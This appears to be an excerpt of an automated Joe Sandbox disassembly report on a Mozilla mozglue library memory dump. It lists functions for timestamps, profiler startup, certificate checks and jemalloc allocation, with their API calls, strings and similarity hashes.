stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB
AuthcAMDenti, xrefs: 6C653946
GTC, xrefs: 6C653912
GenuntelineI, xrefs: 6C653639
!oi/, xrefs: 6C6535AC
QPC, xrefs: 6C6538FC

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: !oi/$AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-799338628
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 6C66C930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Strings

!oi/, xrefs: 6C66C939

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID: !oi/
API String ID: 4191843772-845032489
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 6C653060 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Strings

!oi/, xrefs: 6C65306A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID: !oi/
API String ID: 4291168024-845032489
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Non-executed Functions

Function 6C665440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C665492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6654BE
__Init_thread_footer.LIBCMT ref: 6C6654DB

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

GetCurrentThreadId.KERNEL32 ref: 6C6654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C665516
GetCurrentThreadId.KERNEL32 ref: 6C66556A
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665577
moz_xmalloc.MOZGLUE(00000070), ref: 6C665585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C665590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C6655E6
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C665606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C665616

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

GetCurrentThreadId.KERNEL32 ref: 6C66563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C665646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C66567C
free.MOZGLUE(?), ref: 6C6656AE

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C6656E8
GetCurrentThreadId.KERNEL32 ref: 6C665707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C66570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C665729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C66574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C66576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C665796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C6657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C6657CA

Strings

GeckoMain, xrefs: 6C665554, 6C6655D5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C665D24
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C665749
MOZ_BASE_PROFILER_HELP, xrefs: 6C665511
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C665717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6654A3
MOZ_PROFILER_STARTUP, xrefs: 6C6655E1
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C665C56
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C665D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C665B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C665BBE
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C665791
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6656E3
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C665D2B
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C665D01
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6657AE
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6657C5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C66548D
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C665724
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C665AC9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C665766
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C66584E
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C665CF9
!oi/, xrefs: 6C664C0F, 6C66544F
[I %d/%d] profiler_init, xrefs: 6C66564E
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6654B9

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: !oi/$- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2282512721
Opcode ID: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction ID: 177a8c64f2d46a8a752f75fa61e52c8de68fafea378d92d8cf6f77fefddd9d63
Opcode Fuzzy Hash: 9723cfc490d2767776d13f6d4db7c8a092534f89ff03e26e62870104a5c6f412
Instruction Fuzzy Hash: 2D2205709043419FDB009F76C89666ABBB5AF8734CF04462AE94A87F42EB31E445CB5F

Function 6C69B820 Relevance: 104.4, APIs: 56, Strings: 3, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69B845
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69B852
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69B884
InitializeConditionVariable.KERNEL32(?), ref: 6C69B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C69B9FD
GetCurrentThreadId.KERNEL32 ref: 6C69BA05
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000), ref: 6C69BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C69BA27
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69BA4B
free.MOZGLUE(?), ref: 6C69C9C7
free.MOZGLUE(?), ref: 6C69C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C69C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C69C7DA
!oi/, xrefs: 6C69B837

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: !oi/$[I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2496705052
Opcode ID: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction ID: 752dd629839c1a6c0987d4a292ffdc9fbf9b15080cacb029944776b32ac7a95d
Opcode Fuzzy Hash: f2a5776b01e18a1572ab0c51ffc065bedc266983ab07976a2854c9954fd80f75
Instruction Fuzzy Hash: FAA2BE71A083818FC721CF29C49079FB7E5BFCA314F144A2DE89997351DB70A949CB9A

Function 6C666C80 Relevance: 97.0, APIs: 50, Strings: 5, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C666CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C666D26

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C666D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C666D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C666D73
free.MOZGLUE(00000000), ref: 6C666D80
CertGetNameStringW.CRYPT32 ref: 6C666DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C666DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C666DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C666E10
CryptMsgClose.CRYPT32(00000000), ref: 6C666E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C666E34
CreateFileW.KERNEL32 ref: 6C666EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C666F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C666F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C66709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C667103
free.MOZGLUE(00000000), ref: 6C667153
CloseHandle.KERNEL32(?), ref: 6C667176
__Init_thread_footer.LIBCMT ref: 6C667209
__Init_thread_footer.LIBCMT ref: 6C66723A
__Init_thread_footer.LIBCMT ref: 6C66726B
__Init_thread_footer.LIBCMT ref: 6C66729C
__Init_thread_footer.LIBCMT ref: 6C6672DC
__Init_thread_footer.LIBCMT ref: 6C66730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6673C2
VerSetConditionMask.NTDLL ref: 6C6673F3
VerSetConditionMask.NTDLL ref: 6C6673FF
VerSetConditionMask.NTDLL ref: 6C667406
VerSetConditionMask.NTDLL ref: 6C66740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C66741A
moz_xmalloc.MOZGLUE(?), ref: 6C66755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C667568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C667585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C667598
free.MOZGLUE(00000000), ref: 6C6675AC

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C6672C8
SHA256, xrefs: 6C666EC0
wintrust.dll, xrefs: 6C6672CD
!oi/, xrefs: 6C666C8F
(, xrefs: 6C66768A

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: !oi/$($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-1208739175
Opcode ID: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction ID: 66a7cec88e3af785e2294924bd49185265c2d8ef4da158a834f2fe8299d93b89
Opcode Fuzzy Hash: 7fc89b314fb4aa2afe388c52032a03451903b56d09fef3437752505b54f425da
Instruction Fuzzy Hash: 9852E871A042149FEB21DF26CC84BAA77B8EF46704F144599E909A7A40DB70BF84CF5A

Function 6C686FF0 Relevance: 90.8, APIs: 39, Strings: 11, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

<jemalloc>, xrefs: 6C689B33, 6C689BE3
MOZ_CRASH(), xrefs: 6C689B42
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993
MALLOC_OPTIONS, xrefs: 6C6897CA
!oi/, xrefs: 6C686FFC
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
Compile-time page size does not divide the runtime one., xrefs: 6C689B38

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: !oi/$: (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-3477511302
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 85.6, APIs: 36, Strings: 11, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
